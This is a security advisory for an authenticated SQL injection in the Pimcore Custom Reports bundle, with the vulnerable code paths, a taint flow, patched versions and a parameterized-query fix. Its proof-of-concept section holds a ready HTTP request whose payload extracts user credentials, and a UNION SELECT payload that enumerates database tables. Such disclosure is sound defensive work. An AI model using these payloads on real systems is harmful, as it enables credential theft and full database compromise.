PT-2026-89680 · Packagist · Pimcore/Pimcore
Published
2026-09-10
·
Updated
2026-09-10
CVSS v3.1
8.8
High
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration
Summary
Impact
A SQL injection vulnerability exists in the Custom Reports bundle (
bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.Additionally, the LIMIT clause at line 51 directly interpolates
$offset and $limit without integer casting, creating a secondary injection point.Patches
Versions 2026.1.6, 12.3.10, 11.5.19.
Workarounds
- Restrict
reports configpermission to only highly trusted administrators - Deploy a WAF rule to block requests to
/admin/bundle/customreports/custom-report/updatecontaining SQL keywords in theconfigurationparameter - Replace the custom SQL adapter with a parameterized query builder approach
Attack Path (Validation Evidence)
[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
↓ (requires reports config permission + valid admin session)
[Controller] CustomReportController::updateAction()
↓ $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom reports database table
[Config Load] ToolConfig::getByName() loads stdClass $config from DB
↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
↓ Directly concatenates config fields:
[Vulnerable] $sql .= "
" . $config['sql']; // Line 92
$sql .= "
" . $config['from']; // Line 103
$sql .= "
" . 'WHERE (' . $config['where'] . ')'; // Line 110
$sql .= "
" . $config['groupby']; // Line 117
[Weak Guard] preg match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)s/i', ...)
↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql); // Line 54
↓
[Impact] Arbitrary SQL execution — full database compromiseTaint Flow (Validation Evidence)
Source: $request->request->getString('configuration') (HTTP POST body, user-controlled)
↓ json decode() → stdClass
[Store] Persistent in database (custom reports table)
[Load] Config::getByName() → stdClass $config
↓ ✗ No sanitization (only bypassable regex blacklist)
[Sink] $db->fetchAllAssociative($concatenatedSql)
↓
Impact: Attacker-controlled SQL executed against the databaseProof of Concept
Steps
- Authenticate as an admin user with
reports configpermission - Send a report update request with malicious SQL in the configuration:
Request
http
POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host: <target-host>
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid admin session>
name=malicious report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D- Access the report data endpoint to retrieve extracted user credentials
- Alternatively, the
wherefield can be set to:
1=1 UNION SELECT TABLE NAME, TABLE SCHEMA, 1 FROM INFORMATION SCHEMA.TABLESto enumerate all database tables
Expected Result
The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.
Affected Component
- File:
bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php - Method:
buildQueryString()(lines 84-135),getBaseQuery()(lines 137-216),getData()(lines 25-58) - Class:
PimcoreBundleCustomReportsBundleToolAdapterSql
Fix Recommendation
Replace the custom SQL concatenation approach with a parameterized query builder:
php
// Instead of:
$sql .= "
" . $config['sql'];
$sql .= "
" . $config['from'];
$sql .= "
" . 'WHERE (' . $config['where'] . ')';
// Use a whitelist-based approach:
// 1. Only allow predefined table names from a whitelist
// 2. Use Doctrine QueryBuilder for WHERE conditions
// 3. Use parameterized queries for all user-supplied values
// 4. Cast LIMIT/OFFSET to integers
$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;Resources
- CWE-89: SQL Injection
- [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL Injection Prevention Cheat Sheet.html)
Fix
SQL injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Pimcore/Pimcore